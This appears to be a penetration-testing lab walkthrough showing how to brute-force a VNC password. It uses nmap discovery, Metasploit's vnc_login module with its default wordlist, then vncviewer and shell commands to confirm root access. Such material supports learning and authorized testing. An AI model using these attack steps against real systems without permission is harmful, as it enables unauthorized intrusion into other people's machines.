VNC Brute-Force
VNC provides remote graphical desktop access, and its authentication relies solely on a password — no username is required. This makes it a straightforward target for brute-force attacks, especially since Metasploit's vnc_login module includes a built-in password wordlist by default. A successful login grants full graphical access to the target's desktop, rather than just a command-line shell.
Discovery
| Command | Description |
|---|---|
| nmap -A -p- -T5 [target IP] | Scans all ports with service versions; VNC (5900) is identified as open. |
Attack
| Command | Description |
|---|---|
| msfconsole | Launches the Metasploit Framework console. |
| search vnc | Searches for modules related to VNC. |
| use auxiliary/scanner/vnc/vnc_login | Selects the VNC authentication scanner module. |
| show options | Displays the required parameters — unlike SSH, VNC authentication uses only a password, with no username field. |
| set rhosts [target IP] | Sets the target's IP address. |
| exploit | Launches the attack. If no PASS_FILE is specified, the module automatically uses Metasploit's built-in VNC password wordlist. |
Verification
| Command | Description |
|---|---|
| vncviewer [target IP] | Run in a separate terminal tab after the password is found. Connects to the target using the discovered password, opening a full graphical desktop session. |
| whoami | Confirms which user account was accessed (run from a terminal within the VNC desktop session) — in this case, root. |
| uname -a | Displays the target system's kernel information. |
| ls | Confirms file access within the desktop session. |
Tool Used
This attack was carried out using Metasploit Framework — see the full command reference here.